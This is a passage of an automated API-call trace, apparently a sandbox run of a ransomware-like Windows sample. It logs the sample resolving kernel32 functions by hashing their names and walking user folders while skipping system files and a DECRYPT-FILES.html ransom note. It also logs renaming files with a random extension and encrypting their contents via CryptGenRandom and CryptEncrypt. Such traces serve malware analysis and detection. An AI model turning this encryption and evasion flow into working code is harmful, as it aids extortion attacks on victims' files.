out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0075.577] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0075.577] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0075.577] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0075.577] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0075.577] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0075.577] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0075.577] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0075.577] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0075.577] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0075.577] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0075.577] lstrlenA (lpString="CTRLROUTINE") returned 11 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0075.577] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0075.577] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0075.577] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0075.578] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0075.578] lstrlenA (lpString="DEBUGBREAK") returned 10 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0075.578] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0075.578] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0075.578] lstrlenA (lpString="DECODEPOINTER") returned 13 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0075.578] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0075.578] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0075.578] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0075.578] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0075.578] lstrlenA (lpString="DELETEATOM") returned 10 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0075.578] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0075.578] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0075.578] lstrlenA (lpString="DELETEFIBER") returned 11 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0075.578] lstrlenA (lpString="DELETEFILEA") returned 11 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0075.578] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0075.578] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0075.579] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0075.579] lstrlenA (lpString="DELETEFILEW") returned 11 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0075.579] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0075.579] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0075.579] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0075.579] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0075.579] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0075.579] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0075.579] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0075.579] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0075.579] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0075.579] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0075.579] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0075.579] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0075.579] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0075.579] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0075.580] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0075.580] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0075.580] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0075.580] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0075.580] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0075.580] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0075.580] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0075.580] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0075.580] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0075.580] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0075.580] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0075.580] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0075.580] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0075.580] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0075.580] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0075.580] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0075.581] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0075.581] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0075.581] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0075.581] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0075.581] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0075.581] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0075.581] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0075.581] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0075.581] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0075.581] lstrcpyA (in: lpString1=0x321cc4c, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0075.581] lstrcpyW (in: lpString1=0x2fa0000, lpString2="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" | out: lpString1="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" [0075.581] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst") returned 82 [0075.581] wsprintfW (in: param_1=0x321d904, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.iHt9") returned 87 [0075.581] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.iHt9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.iht9"), dwFlags=0x0) returned 1 [0075.582] VirtualFree (lpAddress=0x2f80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.582] VirtualFree (lpAddress=0x2fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.583] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.583] FindNextFileW (in: hFindFile=0x66d358, lpFindFileData=0x321e934 | out: lpFindFileData=0x321e934*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x91a7e9d0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x91a7e9d0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x91a7e9d0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x6affe8, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0075.583] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0075.583] FindNextFileW (in: hFindFile=0x66d358, lpFindFileData=0x321e934 | out: lpFindFileData=0x321e934*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x91a7e9d0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x91a7e9d0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x91a7e9d0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6affe8, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0075.583] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0075.583] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0075.583] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0075.583] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0075.583] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0075.583] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0075.583] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0075.583] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0075.584] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0075.584] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0075.584] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\") returned 69 [0075.584] lstrlenW (lpString="wevkgn5.dat") returned 11 [0075.584] lstrcpyW (in: lpString1=0x321e104, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\" [0075.584] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\wevkgn5.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\wevkgn5.dat" [0075.584] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\wevkgn5.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.584] CloseHandle (hObject=0x0) returned 0 [0075.584] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.585] FindNextFileW (in: hFindFile=0x66d358, lpFindFileData=0x321e934 | out: lpFindFileData=0x321e934*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x91a7e9d0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x91a7e9d0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x91a7e9d0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6affe8, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0075.585] FindClose (in: hFindFile=0x66d358 | out: hFindFile=0x66d358) returned 1 [0075.585] CloseHandle (hObject=0x434) returned 1 [0075.585] FindNextFileW (in: hFindFile=0x66d318, lpFindFileData=0x321ebb0 | out: lpFindFileData=0x321ebb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x918dbab0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x918dbab0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x91901c10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0075.585] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0075.585] FindNextFileW (in: hFindFile=0x66d318, lpFindFileData=0x321ebb0 | out: lpFindFileData=0x321ebb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0075.585] lstrcmpiW (lpString1="SharedDataEvents", lpString2="DECRYPT-FILES.html") returned 1 [0075.585] lstrcmpiW (lpString1="SharedDataEvents", lpString2="autorun.inf") returned 1 [0075.585] lstrcmpiW (lpString1="SharedDataEvents", lpString2="boot.ini") returned 1 [0075.585] lstrcmpiW (lpString1="SharedDataEvents", lpString2="desktop.ini") returned 1 [0075.585] lstrcmpiW (lpString1="SharedDataEvents", lpString2="ntuser.dat") returned 1 [0075.585] lstrcmpiW (lpString1="SharedDataEvents", lpString2="iconcache.db") returned 1 [0075.585] lstrcmpiW (lpString1="SharedDataEvents", lpString2="bootsect.bak") returned 1 [0075.585] lstrcmpiW (lpString1="SharedDataEvents", lpString2="ntuser.dat.log") returned 1 [0075.585] lstrcmpiW (lpString1="SharedDataEvents", lpString2="thumbs.db") returned -1 [0075.585] lstrcmpiW (lpString1="SharedDataEvents", lpString2="Bootfont.bin") returned 1 [0075.585] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned 63 [0075.585] lstrlenW (lpString="SharedDataEvents") returned 16 [0075.585] lstrcpyW (in: lpString1=0x321e380, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0075.585] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" [0075.586] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0075.608] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x321db48 | out: lpFileSize=0x321db48*=5120) returned 1 [0075.608] CreateFileMappingW (hFile=0x434, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x438 [0075.608] MapViewOfFile (hFileMappingObject=0x438, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2f80000 [0075.837] CryptGenRandom (in: hProv=0x680530, dwLen=0x20, pbBuffer=0x630000 | out: pbBuffer=0x630000) returned 1 [0075.838] CryptGenRandom (in: hProv=0x680530, dwLen=0x8, pbBuffer=0x630020 | out: pbBuffer=0x630020) returned 1 [0075.838] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0075.838] CryptEncrypt (in: hKey=0x66cdd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2fa0000*, pdwDataLen=0x321dab0*=0x28, dwBufLen=0x100 | out: pbData=0x2fa0000*, pdwDataLen=0x321dab0*=0x100) returned 1 [0075.838] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3220000 [0075.839] VirtualFree (lpAddress=0x3220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.839] UnmapViewOfFile (lpBaseAddress=0x2f80000) returned 1 [0075.840] CloseHandle (hObject=0x438) returned 1 [0075.840] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.840] WriteFile (in: hFile=0x434, lpBuffer=0x2fa0000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x321dad0, lpOverlapped=0x0 | out: lpBuffer=0x2fa0000*, lpNumberOfBytesWritten=0x321dad0*=0x108, lpOverlapped=0x0) returned 1 [0075.843] CloseHandle (hObject=0x0) returned 0 [0075.844] CloseHandle (hObject=0x434) returned 1 [0075.844] VirtualFree (lpAddress=0x2fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.845] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.845] GetTickCount () returned 0x20f7a [0075.845] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0075.845] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0075.845] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2f80000 [0075.846] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2fa0000 [0075.846] lstrlenA (lpString="kernel32.dll") returned 12 [0075.846] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0075.846] lstrcpyA (in: lpString1=0x321cec8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0075.846] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0075.846] lstrcpyA (in: lpString1=0x321cec8, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0075.846] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0075.847] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0075.847] lstrlenA (lpString="ADDATOMA") returned 8 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddAtomW" | out: 